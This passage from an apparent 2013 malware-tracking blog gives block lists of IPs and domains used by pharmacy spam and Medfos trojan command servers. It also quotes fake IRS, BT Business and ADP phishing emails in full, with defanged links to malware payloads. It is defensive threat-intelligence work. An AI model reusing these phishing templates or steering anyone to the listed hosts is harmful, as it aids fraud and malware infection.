91.216.163.92 (Informacines Sistemos Ir Technologijos UAB, Lithunia)
178.88.64.149 (Kazakh Telecom, Kazakhstan)
185.5.99.145 (Biznes-host.pl, Poland)
185.8.106.161 (HybridServers, Lithunia)
190.55.85.133 (Telecentro S.A., Argentina)
192.162.19.196 (FOP Budko Dmutro Pavlovuch, Ukraine)
200.185.230.32 (Ajato Telecomunicacao Ltda, Brazil)
202.197.127.42 (CERNET, China)
218.92.160.138 (Funing Tianlong Netbar, China)

61.150.109.186
91.199.149.0/24
91.204.162.81
91.204.162.96
91.216.163.92
178.88.64.149
185.5.99.145
185.8.106.161
190.55.85.133
192.162.19.0/24
200.185.230.32
202.197.127.42
218.92.160.138
1bqmv6ir.tabletmedicinert.com
1n77x6up.mediastoreplus.com
54djq7gs.tabletmedicinert.com
5n2f.mediastoreplus.com
6tpvvfwl.mediastoreplus.com
6un8dtnf.mediastoreplus.com
7geh.mediastoreplus.com
8u4lrx6.mediastoreplus.com
a1nyffx.mediastoreplus.com
a6g9whoe.tabletmedicinert.com
avagdezc.net
biotechealthcarepills.pl
boschwelness.com
caloriesviagra.com
canadaipad.com
canadaviagracanadas.com
canadaviagracent.com
canadiancanada.com
canadian-pharmacy-ltd.org
carerxpatient.com
coopaq.ru
d5pz5c35.tabletmedicinert.com
d8chph3.mediastoreplus.com
dacl3uy1.tabletmedicinert.com
deii.ru
dieein.com
dietarymeds.com
dietwelweight.com
drugmedsgenerics.com
drugsdrugstorepills.com
drugstorepillwalgreens.com
eari.ru
familymedicinerx.com
finding.dietpillgenerics.com
genericswelloch.com
ghwfloaf.com
gied.ru
gtyktdli.com
healthcarebiotechnology.net
hece.ru
herbalburdette.com
herbalprescriptiondrugs.com
htta.ru
iald.ru
in.taxwelnesslevitra.com
inningmedicare.pl
isoe.ru
jmwxxvyj.com
joam.ru
judact.ru
jx5nqjzf.tabletmedicinert.com
kindredhealthcaretab.pl
knei.ru
knr78b16.tabletmedicinert.com
korsinskytrarx.com
laug.ru
m62i5x7e.tabletmedicinert.com
marijuanamedicalviagra.com
marl.myherbalpharmacy.com
mbid.ru
mediastoreplus.com
medicaltabgroup.com
medicaresupplementrx.net
medicinetabletsurface.com
medicinevitamin.com
mediterraneanpharmacydiet.com
medopioid.pl
medsherbalbosch.nl
myherbalpharmacy.com
myviagragenerics.pl
newpillcialis.eu
nmvwta.mediastoreplus.com
nrytgyxvom.com
opioidpill.com
p6vxdhiu.tabletmedicinert.com
paracanada.com
paub.ru
pharmedtransplant.com
phof.ru
pillcanadian.com
pillgenericsgroup.com
pillsmedicinepatients.com
pillssmartrend.com
pillsstreetinsider.com
pillstabletspharmacy.ru
ptnh86kk.tabletmedicinert.com
qatt.ru
qkwc1s52.tabletmedicinert.com
rggrjipn.com
ruld.ru
satishmeds.pl
siew.ru
skah.ru
smartrendsale.com
sutasu.ru
tabletcareandroid.nl
tabletmedicaid.pl
tlar.ru
tmedf7c4j.mediastoreplus.com
torontotab.pl
tuo.mediastoreplus.com
tys.mediastoreplus.com
u0s3oqf6.tabletmedicinert.com
uney.ru
virv.ru
vitaminnutritionherbal.com
vomise.ru
welnessnsmt.com
wroo.ru
xior.ru
yesydzevr.com
yn72ov2j.tabletmedicinert.com
zwig.ru



Friday, 31 May 2013

Medfos sites to block 31/5/13

The following domains and IPs are currently being used as C&C servers by the Medfos family of trojans (this one in particular):

84.32.116.110
85.25.132.55
173.224.210.244
184.82.62.16
188.95.48.152
ehistats.su
emstats.su
ieguards.su
iestats.cc
inetprotections.su
iprotections.su
netprotections.cc
sysinfo.cc
sysinfonet.cc
westats.cc

The hosts involved are:
84.32.116.110 (LIX Solutions, Lithunia)
85.25.132.55 (Intergenia / PlusServer AG, Germany)
173.224.210.244 (Psychz Networks, US)
184.82.62.16 (HostNOC, US)
188.95.48.152 (Globab Layer, Netherlands)

The domains listed are used in conjunction with hundreds of subdomains. Blocking the main domain will be the best approach, else the ones that I have been able to determine are listed here.

Friday, 15 February 2013

"Cum Avenue" IRS Spam / azsocseclawyer.net

This fake IRS spam (from an office on "Cum Avenue"!) actually leads to malware on azsocseclawyer.net:

Date:      Fri, 15 Feb 2013 09:47:25 -0500
From:      Internal Revenue Service [ahabfya196@etax.irs.gov]
Subject:      pecuniary penalty for delay of tax return filling

Herewith we are informing you that you are required to pay a surcharge for not filling the income tax return prior to January 31.

Please note that IRS Section 7117-F-8 specifies a money penalty of $2.000 for each Form 479 that is filled later than deadline for filling the income tax return or does not contain the exhaustive information described in 7117-F-8.

You will be released from the pecuniary penalty when the taxpayer shows that the failure to file was caused by substantial reason.

Please visit official website for more information


Internal Revenue Services United States, Department of Treasury
Ap #822-9450 Cum Avenue
Hours of Operation: Monday-Friday, 11:30AM - 16:30PM your local time.
The malicious payload is at [donotclick]azsocseclawyer.net/detects/necessary_documenting_broadcasts-sensitive.php (report here) hosted on:

77.241.192.47 (VPSNET, Lithunia)
175.121.229.209 (Hanaro Telecom, Korea)

The following domains are currently visible on those IPs are should be regarded as malicious:
albaperu.net
azsocseclawyer.net
derdondetes.com
dressaytam.net
estudienteyo.com
extuderbest.com
madcambodia.net
micropowerboating.net
mochentopen.com
theatreli.net
thedigidares.net


Wednesday, 23 January 2013

BT Business spam / esenstialin.ru

This fake BT Business spam leads to malware on esenstialin.ru:


Date:      Wed, 23 Jan 2013 05:18:56 +0100
From:      MackenzieCronin@[victimdomain]
Subject:      BT Business Direct Order
Attachments:     DeliveryTR992802.htm


Notice of delivery

Hi,

We're pleased to confirm that we have now accepted and despatched your order on Wed, 23 Jan 2013 05:18:56 +0100.

Unless you chose a next day or other premium delivery service option, then in most cases your order will arrive within 1-3 days. If we despatched your order via Letterpost, it may take a little longer.

***Please note that your order may have shipped in separate boxes and this means that separate consignment numbers may be applicable***

We've despatched...

..using the attached shipment details...
Courier     Ref     Carriage method
Royal Mail     53792837735     1-3 Days

Please note that you will only be able to use this tracking reference once the courier has scanned the parcel into their depot. Please allow 24 hours from the date of this email before tracking your parcel online.

For information on how track your delivery, please follow to attached file.

Important information for Yodel deliveries:

If your consignment number starts with KN8053154 your delivery will require a signature. If there is no-one at the delivery address to sign for the goods a card will be left containing the contact details of the courier so that you can re-arrange delivery or arrange a collection.


The malicious payload is on [donotclick]esenstialin.ru:8080/forum/links/column.php hosted on the following IPs:

50.31.1.104 (Steadfast Networks, US)
91.224.135.20 (Proservis UAB, Lithunia)

Friday, 18 January 2013

ADP spam / dopaminko.ru

This fake ADP spam leads to malware on dopaminko.ru:

Date:      Fri, 18 Jan 2013 09:08:38 -0500
From:      "service@paypal.com" [service@paypal.com]
Subject:      ADP Immediate Notification

ADP Immediate Notification
Reference #: 544043911

Fri, 18 Jan 2013 09:08:38 -0500
Dear ADP Client

Your Transfer Record(s) have been created at the web site:

https://www.flexdirect.adp.com/client/login.aspx

Please see the following notes:

    Please note that your bank account will be debited within one banking business day for the amount(s) shown on the report(s).
    Please do not respond or reply to this automated e-mail. If you have any questions or comments, please Contact your ADP Benefits Specialist.


This note was sent to acting users in your system that approach ADP Netsecure.

As usual, thank you for choosing ADP as your business affiliate!

Ref: 206179035

HR. Payroll. Benefits.

The ADP logo and ADP are registered trademarks of ADP, Inc.
In the business of your success is a service mark of ADP, Inc.
© 2013 ADP, Inc. All rights reserved.
The malicious payload is at [donotclick]dopaminko.ru:8080/forum/links/column.php hosted on the following familiar IP addresses:

89.111.176.125 (Garant-Park-Telecom, Russia)
91.224.135.20 (Proservis UAB, Lithunia)
212.112.207.15 (ip4 GmbH, Germany)

These following malicious domains appear to be active on these servers:
dekamerionka.ru
dmssmgf.ru
dmpsonthh.ru
dmeiweilik.ru
demoralization.ru
damagalko.ru
dozakialko.ru
dopaminko.ru
dumarianoko.ru
dimanakasono.ru
bananamamor.ru
dfudont.ru